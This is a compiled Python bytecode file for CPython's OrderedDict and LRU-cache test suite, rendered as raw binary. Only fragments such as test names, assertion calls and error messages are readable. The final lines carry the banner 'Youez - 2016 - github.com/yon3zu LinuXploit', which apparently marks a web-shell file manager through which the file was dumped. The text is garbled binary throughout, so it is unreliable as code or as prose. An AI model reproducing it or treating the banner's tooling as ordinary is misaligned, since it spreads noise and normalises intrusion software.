���	1��	1rNrc�.�\rSrSrSrSrSrSrSrSr	g)	�_TriggerSideEffectOnEquali�rrc��URRURR:XaUR5 UR=RS-
slg)NrT)�	__class__�count�trigger�side_effectr`s  rra� _TriggerSideEffectOnEqual.__eq__�sB���>�>���4�>�>�#9�#9�9�����������!��rNc��g)Nr�r3r/s rr[�"_TriggerSideEffectOnEqual.__hash__�s��rNc��[er)�NotImplementedErrorr/s rr��%_TriggerSideEffectOnEqual.side_effect�s��!�!rNr3N)
rerfrgrhr�r�rar[r�rir3rNrr�r��s��
�E��G���"rNr�c�6�\rSrSr\r\RrSrSrg)�PurePythonOrderedDictTestsi�c�8^^�"UU4SjS[5nU"5mUR[RSTS455mUR[RSU"5S455n[R
"S5nUR
[U[RTU5 URURS5 URT[RS55 URU[RSU"5S455 g)Nc�$>�\rSrSrUU4SjrSrg)�HPurePythonOrderedDictTests.test_issue119004_attribute_error.<locals>.Keyic�>�TT	grr3�r0�TODEL�dict1s ��rr��TPurePythonOrderedDictTests.test_issue119004_attribute_error.<locals>.Key.side_effect�
����%�LrNr3N�rerfrgrhr�ri�r�r�s��rrfr��
���
!�
!rNrfr�������@z('NoneType' object has no attribute 'key'r �rr�)
r�r>rCr}�re�escape�assertRaisesRegexr_�operator�eqrAr��assertDictEqual)r0rf�dict2r�r�r�s    @@r� test_issue119004_attribute_error�;PurePythonOrderedDictTests.test_issue119004_attribute_errors����	!�	!�+�	!����� � �����5�#��!?�@��� � �����3�5�#��!?�@���i�i�B�C�����~�s�H�K�K���N�������A�&����U�D�M�M�(�$;�<����U�D�M�M�1�c�e�S�/�$B�CrNr3N)	rerfrgrh�py_collr�r>r�rir3rNrr�r��s��
�F��%�%�K�
DrNr�c� �\rSrSrSr\r\rSr	g)�CPythonBuiltinDictTestsizYBuiltin dict preserves insertion order.

Reuse some of tests in OrderedDict selectively.
r3N)
rerfrgrh�__doc__�builtinsr�rCr>rir3rNrr�r�s���
�F��KrNr�z�test_init test_update test_abc test_clear test_delitem test_setitem test_detect_deletion_during_iteration test_popitem test_reinsert test_override_update test_highly_nested test_highly_nested_subclass test_delitem_hash_collision c�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�CPythonOrderedDictSideEffectsi#c�|�[R"S5nUR[U[R
X5 g)Nz$OrderedDict mutated during iteration)r�r�r��RuntimeErrorr�r�)r0r�r�r�s    r�check_runtime_error_issue119004�=CPythonOrderedDictSideEffects.check_runtime_error_issue119004%s)���i�i�>�?�����|�S�(�+�+�u�LrNc�^�"U4SjS[5nUR[RSU"5S455mUR[RSU"5S455nUR	TU5 URURS5 URT05 URU[RSU"5S455 g)Nc�">�\rSrSrU4SjrSrg)�PCPythonOrderedDictSideEffects.test_issue119004_change_size_by_clear.<locals>.Keyi*c�&>�TR5 gr�r��r0r�s �rr��\CPythonOrderedDictSideEffects.test_issue119004_change_size_by_clear.<locals>.Key.side_effect+s������
rNr3Nr��r�s�rrfr�*s
���
�
rNrfrr�r �r�r>rCr}r�rAr�r��r0rfr�r�s   @r�%test_issue119004_change_size_by_clear�CCPythonOrderedDictSideEffects.test_issue119004_change_size_by_clear)s����	�+�	�� � �����3�5�#��!?�@��� � �����3�5�#��!?�@���,�,�U�E�:�������A�&����U�B�'����U�D�M�M�1�c�e�S�/�$B�CrNc��^^�"UU4SjS[5nU"5mUR[RSTS455mUR[RSU"5S455nUR	TU5 URURS5 URT[RS55 URU[RSU"5S455 g)Nc�$>�\rSrSrUU4SjrSrg)�UCPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key.<locals>.Keyi6c�>�TT	grr3r�s ��rr��aCPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key.<locals>.Key.side_effect7r�rNr3Nr�r�s��rrfr6r�rNrfrr�r r�r��r0rfr�r�r�s   @@r�*test_issue119004_change_size_by_delete_key�HCPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key5s����	!�	!�+�	!����� � �����5�#��!?�@��� � �����3�5�#��!?�@���,�,�U�E�:�������A�&����U�D�M�M�(�$;�<����U�D�M�M�1�c�e�S�/�$B�CrNc��^�"U4SjS[5nUR[RSU"5S455mUR[RSU"5S455nUR	TU5 URURS5 URT[RSS55 URU[RSU"5S455 g)Nc�">�\rSrSrU4SjrSrg)�WCPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_clear.<locals>.KeyiCc�:>�TR5 S=TS'TS'g)Nr#rrr�r�s �rr��cCPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_clear.<locals>.Key.side_effectDs������
�*-�-��c�
�U�3�ZrNr3Nr�r�s�rrfr
Cs
���
.�
.rNrfrr�r )rrr#r�r�s   @r�,test_issue119004_change_linked_list_by_clear�JCPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_clearBs����	.�+�	.�
� � �����3�5�#��!?�@��� � �����3�5�#��!?�@���,�,�U�E�:�������A�&����U�D�M�M�*�c�$B�C����U�D�M�M�1�c�e�S�/�$B�CrNc��^^�"UU4SjS[5nU"5mUR[RSTS455mUR[RSU"5S455nUR	TU5 URURS5 URTSSSS.5 URU[RSU"5S455 g)Nc�$>�\rSrSrUU4SjrSrg)�\CPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_delete_key.<locals>.KeyiPc�>�TT	STS'g)Nr#rr3r�s ��rr��hCPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_delete_key.<locals>.Key.side_effectQs����%�L� ��c�
rNr3Nr�r�s��rrfrPs
���
!�
!rNrfrr�r r#)rrr�r�rs   @@r�1test_issue119004_change_linked_list_by_delete_key�OCPythonOrderedDictSideEffects.test_issue119004_change_linked_list_by_delete_keyOs����	!�	!�+�	!�
���� � �����5�#��!?�@��� � �����3�5�#��!?�@���,�,�U�E�:�������A�&����U��3�T�$B�C����U�D�M�M�1�c�e�S�/�$B�CrNc�^^�"UU4SjS[5nU"5mUR[RSTS455mUR[RSU"5S455nUR	UR
S5 UR
TU5 UR	UR
S5 URT[RS55 URU[RSU"5S455 g)Nc�(>�\rSrSrSrUU4SjrSrg)�`CPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key_in_dict_eq.<locals>.Keyi^rc�>�TT	grr3r�s ��rr��lCPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key_in_dict_eq.<locals>.Key.side_effect`r�rNr3N)rerfrgrhr�r�rir�s��rrfr^s����G�
!�
!rNrfrr�r r�)r�r>rCr}rAr�r�r�rs   @@r�5test_issue119004_change_size_by_delete_key_in_dict_eq�SCPythonOrderedDictSideEffects.test_issue119004_change_size_by_delete_key_in_dict_eq]s����	!�	!�+�	!�
���� � �����5�#��!?�@��� � �����3�5�#��!?�@��������A�&����E�5�)�������A�&����U�D�M�M�(�$;�<����U�D�M�M�1�c�e�S�/�$B�CrNr3N)rerfrgrhr�r�rr
rrrir3rNrr�r�#s&��M�
D�D�D�D�DrNr�z0requires the C version of the collections modulec��\rSrSr\r\Rr\Rr\RS5r
SrSr\RS5r
Srg)�CPythonOrderedDictTestsinc���URn[Rn[RnUR
nU"S5nU"S5nU"S5nU"S5nU"S5n	U"5n
U"X�5 SU
lU"X�5 U
R[S5Vs/sHo�U4PM sn5 U"X�U-SU--S-S	U--SU	--5 U
R[SS
5Vs/sHo�U4PM sn5 U"X�U-SU--S-S
U--S
U	--5 U"U
R5U"S55 U"U
R5U"S55 U"U
R5U"S55 U"S5nU"[U
5U5 U"[U
R55U5 U"[U
R55U5 U"[U
R55U5 gs snfs snf)
N�nQ2P3PnPn2P�n2BI2n�n2P�P�Pn2Prr$rQr*r���iP2n2P)
r>�struct�calcsizer�calcobjsize�check_sizeofr�rTr�r]rDr�r�)
r0r>r(�sizer��	basicsize�keysize�	entrysize�p�nodesizerUr��itersizes
             r�test_sizeof_exact�)CPythonOrderedDictTests.test_sizeof_exactws����&�&���?�?���"�"���!�!���+�,�	��8�$���U�O�	��S�M���F�#��
�]��
�b�����
�b��
�	�	�5��8�,�8�a�q�6�8�,�-�
�b�g�%��!��+�a�/�!�I�+�=��(�
�J�K�
�	�	�5��B�<�0�<�a�q�6�<�0�1�
�b�g�%��1��,�r�1�B�y�L�@�2�h�;�N�O�
�b�g�g�i��c��#�
�b�h�h�j�$�s�)�$�
�b�i�i�k�4��9�%���>��
�d�2�h��!�
�d�2�7�7�9�o�x�(�
�d�2�8�8�:���)�
�d�2�9�9�;���*��-��0s�
G*�$
G/c��URnURS5nUR[U5[S55 UR	[
5 [
U5H(up4URU5 URUS5 M* SSS5 UR	[
5 UHnSUS'M
 SSS5 UR	[
5 UHnUS	M SSS5 UR[U5[S55 g!,(df   N�=f!,(df   Nn=f!,(df   NU=f)Nr"r*r8r#�bdeaf)	r>r}rArEr?r��	enumerater&�
assertLess)r0r>rUr�r�s     r� test_key_change_during_iteration�8CPythonOrderedDictTests.test_key_change_during_iteration�s����&�&��
�
!�
!�'�
*������b��4��=�1�
�
�
�|�
,�!�"�
������q�!�����1�%�&�-��
�
�|�
,�����3���-��
�
�|�
,����s�G��-�	
����b��4��=�1�-�
,��-�
,��-�
,�s$�8D�,D#�
D4�
D �#
D1�4
Ec��URn/SQnU"U5nSH�n[X45n[U"55SSn[[R
S-5H�nUR
XGS9 [U"55n[U5 [R"X�5n	[R"U	5n
UR[U
5U5 UR[U5U5 SSS5 M� M� g!,(df   M�=f)Nr�)r]r�rDr)�method_name�protocol)r>�getattrrEr�r�r�r�r�r�r�r�rA)r0r>rGrUr;�methr�r�r�r/�	unpickleds           r�test_iterators_pickling�/CPythonOrderedDictTests.test_iterators_pickling�s����&�&��L��
��
��6�K��2�+�D��D�F�|�A�B�'�H��6�2�2�Q�6�7���\�\�k�\�F��d�f��B���H����R�+�A� &���Q��I��$�$�T�)�_�h�?��$�$�T�"�X�x�8�
G�F�8�7�G�F�s
�*A>C9�9
Dc��[R"5 UR5nXl/nUR	U5 [
R"U5nUR	U5 AAA[R"5 gr)r�r�r>�cycler_r�r�)r0r�rC�x_refs    r�"test_weakref_list_is_not_traversed�:CPythonOrderedDictTests.test_weakref_list_is_not_traversed�sZ��
	�
�
�����������
���U�����A���
���U��
�u�e�
�
�
�rNr3N)rerfrgrh�c_collr�r>rr*r�r2r8r@rErir3rNrrrns\��
�F��$�$�K��'�'�L����+��+�@2�"9�"
�����rNrc�B�\rSrSr\r"SS\R5rSrg)�"PurePythonOrderedDictSubclassTestsi�c��\rSrSrSrg)�.PurePythonOrderedDictSubclassTests.OrderedDicti�r3N�rerfrgrhrir3rNrr>rK����rNr>r3N)rerfrgrhr�r�r>rir3rNrrIrI�s��
�F�
�g�)�)�
rNrIc�B�\rSrSr\r"SS\R5rSrg)�CPythonOrderedDictSubclassTestsi�c��\rSrSrSrg)�+CPythonOrderedDictSubclassTests.OrderedDicti�r3NrLr3rNrr>rQ�rMrNr>r3N)rerfrgrhrGr�r>rir3rNrrOrO�s��
�F�
�f�(�(�
rNrOc�Z�\rSrSr\r"SS\R5r\RrSr	g)�*PurePythonOrderedDictWithSlotsCopyingTestsi�c��\rSrSrSrSrg)�6PurePythonOrderedDictWithSlotsCopyingTests.OrderedDicti��r�r�r3N�rerfrgrh�	__slots__rir3rNrr>rU�����	rNr>r3N)
rerfrgrhr�r�r>rr�rir3rNrrSrS�s$��
�F��g�)�)��#�0�0�LrNrSc�Z�\rSrSr\r"SS\R5r\RrSr	g)�'CPythonOrderedDictWithSlotsCopyingTestsi�c��\rSrSrSrSrg)�3CPythonOrderedDictWithSlotsCopyingTests.OrderedDicti�rVr3NrWr3rNrr>r]�rYrNr>r3N)
rerfrgrhrGr�r>rr�rir3rNrr[r[�s&���F��f�(�(��#�0�0�LrNr[c�*�\rSrSr\S5rSrSrg)�PurePythonGeneralMappingTestsi�c�.�[RUlgr�r�r>�	type2test��clss r�
setUpClass�(PurePythonGeneralMappingTests.setUpClass�s���+�+��
rNc�d�UR5nUR[UR5 gr��_empty_mappingr?r�r��r0r&s  rr��*PurePythonGeneralMappingTests.test_popitem��$�����!�����(�A�I�I�.rNr3N�rerfrgrh�classmethodrer�rir3rNrr_r_�s���,��,�/rNr_c�*�\rSrSr\S5rSrSrg)�CPythonGeneralMappingTestsi�c�.�[RUlgr�rGr>rbrcs rre�%CPythonGeneralMappingTests.setUpClass�s���*�*��
rNc�d�UR5nUR[UR5 grrhrjs  rr��'CPythonGeneralMappingTests.test_popitemrlrNr3Nrmr3rNrrprp�s���+��+�/rNrpc�*�\rSrSr\S5rSrSrg)�PurePythonSubclassMappingTestsic�B�"SS[R5nXlg)Nc��\rSrSrSrg)�@PurePythonSubclassMappingTests.setUpClass.<locals>.MyOrderedDicti	r3NrLr3rNr�
MyOrderedDictrz	���rNr{ra�rdr{s  rre�)PurePythonSubclassMappingTests.setUpClasss��	�G�/�/�	�%�
rNc�d�UR5nUR[UR5 grrhrjs  rr��+PurePythonSubclassMappingTests.test_popitem
rlrNr3Nrmr3rNrrwrws���&��&�
/rNrwc�*�\rSrSr\S5rSrSrg)�CPythonSubclassMappingTestsic�B�"SS[R5nXlg)Nc��\rSrSrSrg)�=CPythonSubclassMappingTests.setUpClass.<locals>.MyOrderedDictir3NrLr3rNrr{r�r|rNr{rrr}s  rre�&CPythonSubclassMappingTests.setUpClasss��	�F�.�.�	�%�
rNc�d�UR5nUR[UR5 grrhrjs  rr��(CPythonSubclassMappingTests.test_popitemrlrNr3Nrmr3rNrr�r�s���&��&�
/rNr�c�L^�\rSrSrU4SjrU4SjrU4SjrU4SjrSrU=r	$)�SimpleLRUCachei c�d>�[TU]5 Xl[R	SS5Ulg)N��get�set�delr)�superrFr+rCr}�counts)r0r+r�s  �rrF�SimpleLRUCache.__init__"s&���
�����	��m�m�$9�1�=��rNc�v>�URS==S-
ss'[TU]	U5nURU5 U$)Nr�r)r�r��__getitem__r&)r0�itemr|r�s   �rr��SimpleLRUCache.__getitem__'s9������E��a�����#�D�)��������rNc�>�URS==S-
ss'X;aH[U5UR:�a/URSS9 X;a[U5UR:�aM/[TU]X5 UR
U5 g)Nr�rFr�)r�r�r+r�r�r�r&)r0r�r|r�s   �rr��SimpleLRUCache.__setitem__-sj������E��a����o�#�d�)�t�y�y�"8��L�L�e�L�$��o�#�d�)�t�y�y�"8�
���C�'�����rNc�R>�URS==S-
ss'[TU]	U5 g)Nr�r)r�r�r�)r0r�r�s  �rr��SimpleLRUCache.__delitem__4s$������E��a���
���C� rN)r�r+)
rerfrgrhrFr�r�r�ri�
__classcell__)r�s@rr�r� s���>�
��!�!rNr�c�,�\rSrSrSrSrSrSrSrg)�SimpleLRUCacheTestsi9c��URS5nSUS'SUS'SUS'URURSSSS.5 UR[U5SS/5 URURSSSS.5 g)	Nr r�t1�t2r$�t3rr�)rbrAr�rE)r0r#s  r�test_add_after_full�'SimpleLRUCacheTests.test_add_after_full;sy���N�N�1�����$����$����$��������1�Q�q�#A�B�����a��4��,�/�������1�Q�q�#A�BrNc��URS5n[SS5HnX!U'M	 URURSS9S5 URURSS9S5 URURS	SS	S
.5 g)Nr$rr'Fr�)rrT)r$r$rr�)rbr�rAr�r��r0r#r�s   rr�� SimpleLRUCacheTests.test_popitemDsx���N�N�1����q�!��A��a�D����������.��7���������-�v�6�������1�Q�q�#A�BrNc��URS5n[SS5HnX!U'M	 URURSSSS.5 URUR	S5S5 URURSSSS.5 URUR	SS5S5 URURSSSS.5 UR[URS5 URURSSSS.5 g)Nr$rr'rr�r )rbr�rAr�r�r?r�r�s   rr��SimpleLRUCacheTests.test_popLs����N�N�1����q�!��A��a�D��������1�Q�q�#A�B�������q��1�%�������1�Q�q�#A�B�������q�!��a�(�������1�Q�q�#A�B����(�A�E�E�1�-�������1�Q�q�#A�BrNc	��URS5n[SS5HnX!U'M	 UR[U5[[SS555 URURSSSS.5 URUSS5 URURSSSS.5 UR[U5/SQ5 g)Nr$rr'rr�r )rr$r )rbr�rArEr�r�s   r�test_change_order_on_get�,SimpleLRUCacheTests.test_change_order_on_getXs����N�N�1����q�!��A��a�D������a��$�u�Q��{�"3�4�������1�Q�q�#A�B�����1��q�!�������1�Q�q�#A�B�����a��)�,rNr3N)	rerfrgrhr�r�r�r�rir3rNrr�r�9s��C�C�
C�-rNr�c�@�\rSrSr"SS\\R5rSrg)�PySimpleLRUCacheTestsicc��\rSrSrSrg)�PySimpleLRUCacheTests.type2testier3NrLr3rNrrbr�erMrNrbr3N)	rerfrgrhr�r�r>rbrir3rNrr�r�cs��
�N�G�$7�$7�
rNr�c�$�\rSrSr\S5rSrg)�CSimpleLRUCacheTestsiic�L�"SS[[R5nXlg)Nc��\rSrSrSrg)�2CSimpleLRUCacheTests.setUpClass.<locals>.type2testinr3NrLr3rNrrbr�nr|rNrb)r�rGr>rb)rdrbs  rre�CSimpleLRUCacheTests.setUpClassls��	���(:�(:�	�!�
rNr3N)rerfrgrhrnrerir3rNrr�r�is���"��"rNr��__main__)6r��
contextlibr�r�r�r�r��randomrrr'r�unittestr��collections.abcr�testrr�test.supportrr	�import_fresh_moduler�rG�contextmanagerrrr��TestCaser�r�r6�method�setattrr=r��
skipUnlessrrIrOrSr[�BasicTestMappingProtocolr_rprwr�r�r�r�r�re�mainr3rNr�<module>r�s������	��
�	�%�
�
���*�'�@��
+�
+�M�5C�4D�F��	�	*�	*�=�2@�1A�
C�����,��,�E1�E1�P"�"�"D�!1�8�3D�3D�D�*�h�/�/��#�%*�E�G�,�F��#�V�W�5E�v�-N�O�
,��HD�HD�V
���V�O�P�]�.�;�&�/�/�]�Q�]�@
�)C�
�
�&=�
�1��1B�1B�1�
���V�O�P�1�h�.?�.?�1�Q�1�/�M�$J�$J�/�
���V�O�P�/��!G�!G�/�Q�/�
/�]�%K�%K�
/�
���V�O�P�
/�-�"H�"H�
/�Q�
/�!�!�2'-�'-�T
�/��1B�1B�
�
���V�O�P�"�.��0A�0A�"�Q�"��z���M�M�O�rN

Youez - 2016 - github.com/yon3zu
LinuXploit